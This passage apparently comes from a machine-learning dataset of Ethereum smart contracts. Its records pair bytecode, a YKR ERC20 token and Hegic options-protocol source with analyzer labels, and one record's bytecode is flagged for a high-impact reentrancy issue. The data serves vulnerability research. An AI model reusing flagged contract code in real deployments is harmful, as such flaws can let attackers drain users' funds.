ffffffffffffffffffff1663ccbac9f56040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7357600080fd5b505afa158015611c87573d6000803e3d6000fd5b505050506040513d6020811015611c9d57600080fd5b505115155b611cf3576040805162461bcd60e51b815260206004820152601960248201527f636f756e63696c206973206e6f74207365742075702079657400000000000000604482015290519081900360640190fd5b600254604080517f6352211e000000000000000000000000000000000000000000000000000000008152600481018490529051339273ffffffffffffffffffffffffffffffffffffffff1691636352211e916024808301926020929190829003018186803b158015611d6457600080fd5b505afa158015611d78573d6000803e3d6000fd5b505050506040513d6020811015611d8e57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff1614611df8576040805162461bcd60e51b815260206004820152601160248201527f6e6f7420612076616c6964206f776e6572000000000000000000000000000000604482015290519081900360640190fd5b600254604080517f4f062c5a00000000000000000000000000000000000000000000000000000000815260048101849052905160019273ffffffffffffffffffffffffffffffffffffffff1691634f062c5a916024808301926020929190829003018186803b158015611e6a57600080fd5b505afa158015611e7e573d6000803e3d6000fd5b505050506040513d6020811015611e9457600080fd5b50516005811115611ea157fe5b1115611ef4576040805162461bcd60e51b815260206004820152601b60248201527f6f776e6572206973206e6f74207573656c65737320656e6f7567680000000000604482015290519081900360640190fd5b60008281526001602090815260408083208684529091529020548290849060ff16611f505760405162461bcd60e51b81526004018080602001828103825260308152602001806128636030913960400191505060405180910390fd5b600084815260208190526040902060030154849060ff1615611fa35760405162461bcd60e51b815260040180806020018281038252602781526020018061283c6027913960400191505060405180910390fd5b600085815260016020908152604080832089845290915280822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551869188917f6559d1bb1838c0571b2c0a9338c357a2356aa893eed79afc629ee08f7e1d47369190a3505050505050565b60006060600060608673ffffffffffffffffffffffffffffffffffffffff1686866040518082805190602001908083835b602083106120645780518252601f199092019160209182019101612045565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146120c6576040519150601f19603f3d011682016040523d82523d6000602084013e6120cb565b606091505b5091509150816123a95760606120e088612540565b90506044825110156121b15760008160405160200180807f5573656c6573734d756c74695369673a20726576657274206174203c00000000815250601c0182805190602001908083835b602083106121495780518252601f19909201916020918201910161212a565b6001836020036101000a038019825116818451168082178552505050505050905001807f3e00000000000000000000000000000000000000000000000000000000000000815250600101915050604051602081830303815290604052945094505050506123c2565b6004820191506000818380602001905160208110156121cf57600080fd5b81019080805160405193929190846401000000008211156121ef57600080fd5b90830190602082018581111561220457600080fd5b825164010000000081118282018810171561221e57600080fd5b82525081516020918201929091019080838360005b8381101561224b578181015183820152602001612233565b50505050905090810190601f1680156122785780820380516001836020036101000a031916815260200191505b5060405250505060405160200180807f5573656c6573734d756c74695369673a20726576657274206174203c00000000815250601c0183805190602001908083835b602083106122d95780518252601f1990920191602091820191016122ba565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01801990921691161790527f3e207769746820726561736f6e3a200000000000000000000000000000000000919093019081528451600f90910192850191508083835b602083106123685780518252601f199092019160209182019101612349565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052945094505050506123c2565b6001604051806020016040528060008152509350935050505b935093915050565b60008373ffffffffffffffffffffffffffffffffffffffff8116612435576040805162461bcd60e51b815260206004820152601260248201527f61646472657373206973207573656c6573730000000000000000000000000000604482015290519081900360640190fd5b6004546040805160808101825273ffffffffffffffffffffffffffffffffffffffff8881168252602080830189815283850189815260006060860181905287815280845295909520845181547fffffffffffffffffffffffff000000000000000000000000000000000000000016941693909317835551600183015592518051929391926124c99260028501920190612786565b5060609190910151600390910180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001691151591909117905560048054600101905560405181907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a295945050505050565b604080518082018252601081527f303132333435363738396162636465660000000000000000000000000000000060208201528151602a808252606082810190945273ffffffffffffffffffffffffffffffffffffffff8516929184916020820181803683370190505090507f3000000000000000000000000000000000000000000000000000000000000000816000815181106125da57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061263757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060005b601481101561277d578260048583600c016020811061268457fe5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff16815181106126bc57fe5b602001015160f81c60f81b8282600202600201815181106126d957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350828482600c016020811061271857fe5b825191901a600f1690811061272957fe5b602001015160f81c60f81b82826002026003018151811061274657fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101612669565b50949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106127c757805160ff19168380011785556127f4565b828001600101855582156127f4579182015b828111156127f45782518255916020019190600101906127d9565b50612800929150612804565b5090565b5b80821115612800576000815560010161280556fe7573656c657373207472616e73616374696f6e20646f6573206e6f742065786973747573656c657373207472616e73616374696f6e20697320616c72656164792065786563757465647573656c657373207472616e73616374696f6e206973206e6f7420636f6e6669726d65642062792074686973204e46547573656c657373207472616e73616374696f6e20697320616c726561647920636f6e6669726d6564a264697066735822122011a34c76089772fac051e579e49cde884bce3511f8d4c6282af205856efdfbee64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2497, 2683, 2683, 2575, 2683, 2050, 2692, 16703, 15136, 2581, 2620, 2549, 9818, 2549, 2278, 2509, 2050, 2475, 9818, 16086, 2575, 2050, 2581, 2094, 2581, 2487, 10354, 2094, 2581, 4246, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 12324, 1000, 1012, 1013, 11809, 2078, 6199, 1012, 14017, 1000, 1025, 3206, 11809, 12274, 7096, 17417, 2290, 1063, 2724, 13964, 1006, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1010, 21318, 3372, 17788, 2575, 25331, 12598, 3593, 1007, 1025, 2724, 7065, 23909, 1006, 21318, 3372, 17788, 2575, 25331, 19204, 3593, 1010, 21318, 3372, 17788, 2575, 25331, 12598, 3593, 1007, 1025, 2724, 12339, 1006, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,611
0x956bc9f4d12f979d9f1cc1c7aadfed8ec7c866e3
// File: contracts/3_Ballot.sol /** *Submitted for verification at Etherscan.io on 2020-09-18 */ pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract YKR is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "YunKyungrok Token"; symbol = "YKR"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a7230582093406dfda225fc0959d85aac44f89883ec82d269d815410552e93cb7976e6f200029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26976, 9818, 2683, 2546, 2549, 2094, 12521, 2546, 2683, 2581, 2683, 2094, 2683, 2546, 2487, 9468, 2487, 2278, 2581, 11057, 20952, 2098, 2620, 8586, 2581, 2278, 20842, 2575, 2063, 2509, 1013, 1013, 5371, 1024, 8311, 1013, 1017, 1035, 10428, 1012, 14017, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 12609, 1011, 5641, 1011, 2324, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,612
0x956BeD5f95D3Cfc16581C3892931C0D110376f9f
pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "./Interfaces/IOptionsManager.sol"; import "./Interfaces/Interfaces.sol"; /** * @author 0mllwntrmt3 * @title Hegic Protocol V8888 Exerciser Contract * @notice The contract that allows to automatically exercise options half an hour before expiration **/ contract Exerciser { IOptionsManager immutable optionsManager; constructor(IOptionsManager manager) { optionsManager = manager; } function exercise(uint256 optionId) external { IHegicPool pool = IHegicPool(optionsManager.tokenPool(optionId)); (, , , , uint256 expired, , ) = pool.options(optionId); require( block.timestamp > expired - 30 minutes, "Facade Error: Automatically exercise for this option is not available yet" ); pool.exercise(optionId); } } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /** * @notice The interface for the contract * that tokenizes options as ERC721. **/ interface IOptionsManager is IERC721 { /** * @param holder The option buyer address **/ function createOptionFor(address holder) external returns (uint256); /** * @param tokenId The ERC721 token ID linked to the option **/ function tokenPool(uint256 tokenId) external returns (address pool); /** * @param spender The option buyer address or another address * with the granted permission to buy/exercise options on the user's behalf * @param tokenId The ERC721 token ID linked to the option **/ function isApprovedOrOwner(address spender, uint256 tokenId) external view returns (bool); } pragma solidity 0.8.6; /** * SPDX-License-Identifier: GPL-3.0-or-later * Hegic * Copyright (C) 2021 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. **/ import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; // /** // * @author 0mllwntrmt3 // * @title Hegic Protocol V8888 Interface // * @notice The interface for the price calculator, // * options, pools and staking contracts. // **/ /** * @notice The interface fot the contract that calculates * the options prices (the premiums) that are adjusted * through balancing the `ImpliedVolRate` parameter. **/ interface IPriceCalculator { /** * @param period The option period * @param amount The option size * @param strike The option strike **/ function calculateTotalPremium( uint256 period, uint256 amount, uint256 strike ) external view returns (uint256 settlementFee, uint256 premium); } /** * @notice The interface for the contract that manages pools and the options parameters, * accumulates the funds from the liquidity providers and makes the withdrawals for them, * sells the options contracts to the options buyers and collateralizes them, * exercises the ITM (in-the-money) options with the unrealized P&L and settles them, * unlocks the expired options and distributes the premiums among the liquidity providers. **/ interface IHegicPool is IERC721, IPriceCalculator { enum OptionState {Invalid, Active, Exercised, Expired} enum TrancheState {Invalid, Open, Closed} /** * @param state The state of the option: Invalid, Active, Exercised, Expired * @param strike The option strike * @param amount The option size * @param lockedAmount The option collateral size locked * @param expired The option expiration timestamp * @param hedgePremium The share of the premium paid for hedging from the losses * @param unhedgePremium The share of the premium paid to the hedged liquidity provider **/ struct Option { OptionState state; uint256 strike; uint256 amount; uint256 lockedAmount; uint256 expired; uint256 hedgePremium; uint256 unhedgePremium; } /** * @param state The state of the liquidity tranche: Invalid, Open, Closed * @param share The liquidity provider's share in the pool * @param amount The size of liquidity provided * @param creationTimestamp The liquidity deposit timestamp * @param hedged The liquidity tranche type: hedged or unhedged (classic) **/ struct Tranche { TrancheState state; uint256 share; uint256 amount; uint256 creationTimestamp; bool hedged; } /** * @param id The ERC721 token ID linked to the option * @param settlementFee The part of the premium that * is distributed among the HEGIC staking participants * @param premium The part of the premium that * is distributed among the liquidity providers **/ event Acquired(uint256 indexed id, uint256 settlementFee, uint256 premium); /** * @param id The ERC721 token ID linked to the option * @param profit The profits of the option if exercised **/ event Exercised(uint256 indexed id, uint256 profit); /** * @param id The ERC721 token ID linked to the option **/ event Expired(uint256 indexed id); /** * @param account The liquidity provider's address * @param trancheID The liquidity tranche ID **/ event Withdrawn( address indexed account, uint256 indexed trancheID, uint256 amount ); /** * @param id The ERC721 token ID linked to the option **/ function unlock(uint256 id) external; /** * @param id The ERC721 token ID linked to the option **/ function exercise(uint256 id) external; function setLockupPeriod(uint256, uint256) external; /** * @param value The hedging pool address **/ function setHedgePool(address value) external; /** * @param trancheID The liquidity tranche ID * @return amount The liquidity to be received with * the positive or negative P&L earned or lost during * the period of holding the liquidity tranche considered **/ function withdraw(uint256 trancheID) external returns (uint256 amount); function pricer() external view returns (IPriceCalculator); /** * @return amount The unhedged liquidity size * (unprotected from the losses on selling the options) **/ function unhedgedBalance() external view returns (uint256 amount); /** * @return amount The hedged liquidity size * (protected from the losses on selling the options) **/ function hedgedBalance() external view returns (uint256 amount); /** * @param account The liquidity provider's address * @param amount The size of the liquidity tranche * @param hedged The type of the liquidity tranche * @param minShare The minimum share in the pool of the user **/ function provideFrom( address account, uint256 amount, bool hedged, uint256 minShare ) external returns (uint256 share); /** * @param holder The option buyer address * @param period The option period * @param amount The option size * @param strike The option strike **/ function sellOption( address holder, uint256 period, uint256 amount, uint256 strike ) external returns (uint256 id); /** * @param trancheID The liquidity tranche ID * @return amount The amount to be received after the withdrawal **/ function withdrawWithoutHedge(uint256 trancheID) external returns (uint256 amount); /** * @return amount The total liquidity provided into the pool **/ function totalBalance() external view returns (uint256 amount); /** * @return amount The total liquidity locked in the pool **/ function lockedAmount() external view returns (uint256 amount); function token() external view returns (IERC20); /** * @return state The state of the option: Invalid, Active, Exercised, Expired * @return strike The option strike * @return amount The option size * @return lockedAmount The option collateral size locked * @return expired The option expiration timestamp * @return hedgePremium The share of the premium paid for hedging from the losses * @return unhedgePremium The share of the premium paid to the hedged liquidity provider **/ function options(uint256 id) external view returns ( OptionState state, uint256 strike, uint256 amount, uint256 lockedAmount, uint256 expired, uint256 hedgePremium, uint256 unhedgePremium ); /** * @return state The state of the liquidity tranche: Invalid, Open, Closed * @return share The liquidity provider's share in the pool * @return amount The size of liquidity provided * @return creationTimestamp The liquidity deposit timestamp * @return hedged The liquidity tranche type: hedged or unhedged (classic) **/ function tranches(uint256 id) external view returns ( TrancheState state, uint256 share, uint256 amount, uint256 creationTimestamp, bool hedged ); } /** * @notice The interface for the contract that stakes HEGIC tokens * through buying microlots (any amount of HEGIC tokens per microlot) * and staking lots (888,000 HEGIC per lot), accumulates the staking * rewards (settlement fees) and distributes the staking rewards among * the microlots and staking lots holders (should be claimed manually). **/ interface IHegicStaking { event Claim(address indexed account, uint256 amount); event Profit(uint256 amount); event MicroLotsAcquired(address indexed account, uint256 amount); event MicroLotsSold(address indexed account, uint256 amount); function claimProfits(address account) external returns (uint256 profit); function buyStakingLot(uint256 amount) external; function sellStakingLot(uint256 amount) external; function distributeUnrealizedRewards() external; function profitOf(address account) external view returns (uint256); } interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 value) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others 